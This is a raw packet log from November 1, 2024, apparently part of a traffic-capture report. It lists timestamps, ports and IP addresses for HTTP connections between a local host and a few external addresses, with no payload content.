Nov 1, 2024 13:42:17.710270882 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.710279942 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.710335016 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.710383892 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.710412025 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.710525990 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.710550070 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.710566998 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.710575104 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.710582972 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.710594893 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.710601091 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.710627079 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.710633039 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.710649014 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.710654974 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.710683107 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.710689068 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.744167089 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.744187117 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.744195938 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.744203091 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.744211912 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.744220972 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.744328976 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.744344950 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.744349003 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.744360924 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.744409084 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.744424105 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.744425058 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.744441986 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.744467020 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.744488001 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.744515896 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.744532108 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.744559050 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.744577885 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.744784117 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.744801044 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.744849920 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.745371103 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.745421886 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.747659922 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.748481035 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.748543024 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.792145967 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.792279959 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.792294979 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.792371035 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.833568096 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.833585978 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.833600044 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.833651066 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.833663940 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.833666086 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.833683968 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.833707094 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.833725929 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.833760023 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.833777905 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.833794117 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.833820105 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.833822012 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.833844900 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.833865881 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.833874941 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.833889961 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.833905935 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.833921909 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.833923101 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.833935976 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.833940029 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.833961964 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.833985090 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.868659973 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.868674994 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.868684053 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.868793011 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.868994951 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.869010925 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.869026899 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.869050980 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.869065046 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.869071960 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.869093895 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.869116068 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.869118929 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.869137049 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.869137049 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.869155884 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.869163036 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.869172096 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.869182110 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.869188070 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.869204998 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.869206905 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.869220972 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.869221926 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.869246006 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.869266987 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.869273901 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.869431973 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.869458914 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.869472980 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.869498968 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.869524956 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.914318085 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.914335012 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.914355040 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.914382935 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.914397001 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.915576935 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.915601015 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.915622950 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.915642977 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.915653944 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.915668011 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.960942984 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.960959911 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.960974932 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.961014032 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.961021900 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.961030006 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.961045980 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.961069107 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.961072922 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.961086988 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.961091995 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.961100101 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.961123943 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.963098049 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.963114023 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.963129997 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.963145971 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.963162899 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.963169098 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.963181019 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.963191032 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.963196993 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.963205099 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.963213921 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.963228941 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.963232040 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.963242054 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.963263035 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.963268995 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.992572069 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.992589951 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.992609024 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.992633104 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.992641926 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.992647886 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.992651939 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.992666006 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.992676020 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.992682934 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.992700100 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.992703915 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.992710114 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.992716074 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.992733002 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.992733955 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.992733955 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.992748976 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.992757082 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.992768049 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.992774963 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.992784977 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.992789030 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.992801905 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.992806911 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.992822886 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.992837906 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.993007898 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.993024111 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.993038893 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.993066072 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.993083954 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.993855000 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.993869066 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:17.993906975 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:17.993917942 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.037873030 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.037889957 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.037904024 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.037969112 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.038005114 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.039705992 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.039721966 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.039736986 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.039761066 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.039773941 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.084408045 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.084424019 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.084440947 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.084464073 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.084479094 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.084479094 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.084489107 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.084495068 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.084510088 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.084521055 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.084526062 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.084542990 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.084547043 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.084563017 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.084568977 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.084585905 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.084604979 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.084621906 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.084638119 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.084661007 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.084675074 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.084681988 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.084691048 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.084701061 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.084705114 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.084729910 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.084752083 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.115627050 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.115705013 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.115797043 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.115811110 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.115818977 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.115828991 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.115835905 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.115850925 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.115858078 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.115865946 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.115871906 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.115896940 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.115912914 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.115926981 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.115943909 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.115963936 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.116030931 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.116038084 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.116048098 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.116071939 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.116086960 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.116087914 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.116096973 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.116103888 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.116126060 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.116131067 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.116154909 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.116157055 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.116182089 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.116200924 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.175785065 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.180763006 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.299288034 CET	49723	80	192.168.2.4	199.232.214.172
Nov 1, 2024 13:42:18.304536104 CET	80	49723	199.232.214.172	192.168.2.4
Nov 1, 2024 13:42:18.304615974 CET	49723	80	192.168.2.4	199.232.214.172
Nov 1, 2024 13:42:18.422521114 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.422545910 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.422564030 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.422574043 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.422580004 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.422597885 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.422604084 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.422611952 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.422616005 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.422652006 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.422671080 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.422703981 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.422719002 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.422725916 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.422739983 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.422758102 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.422769070 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.422785044 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.422806978 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.422811031 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.422827959 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.422837973 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.422842026 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.422858953 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.422859907 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.422873020 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.422880888 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.422898054 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.422900915 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.422914028 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.422924042 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.422935963 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.422957897 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.541327953 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.541354895 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.541369915 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.541380882 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.541395903 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.541407108 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.541418076 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.541423082 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.541446924 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.541452885 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.541462898 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.541470051 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.541492939 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.541505098 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.541560888 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.541577101 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.541591883 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.541604996 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.541608095 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.541615963 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.541625023 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.541640997 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.541641951 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.541656017 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.541660070 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.541675091 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.541680098 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.541713953 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.541738033 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.541768074 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.541784048 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.541804075 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.541812897 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.541822910 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.541834116 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.541840076 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.541857958 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.541873932 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.541878939 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.541891098 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.541894913 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.541909933 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.541929960 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.541970968 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.541994095 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.542011023 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.542016029 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.542026997 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.542030096 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.542046070 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:18.542051077 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:18.542071104 CET	49754	80	192.168.2.4	95.215.207.176
